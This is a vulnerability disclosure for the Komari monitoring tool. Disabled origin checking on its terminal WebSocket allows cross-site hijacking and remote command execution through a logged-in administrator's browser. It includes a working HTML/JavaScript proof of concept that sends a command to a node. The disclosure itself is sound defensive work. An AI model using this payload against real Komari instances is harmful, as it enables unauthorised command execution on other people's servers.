Komari vulnerable to Cross-site WebSocket Hijacking
Date: 2025-08
Affected: go/github.com/komari-monitor/komari
Attack vector: rce
Category: vulnerability-disclosure
Severity: High
CWE: CWE-1385

### Summary WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users ### Details https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35 Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution ### PoC 1. Login in to your komari instance 2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours 3. Visit this HTML page, you can see your node is executing `uptime` without your actions ``` <pre></pre> <script> const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal"); socket.addEventListener("open", (event) => { const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' }); socket.send(binaryBlob); }); socket.addEventListener("message", (event) => { event.data.text().then(x => {document.querySelector("pre").append(x)}); }); </script> ``` ### Impact An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.


Mitigations:

Architectural layers (MAESTRO):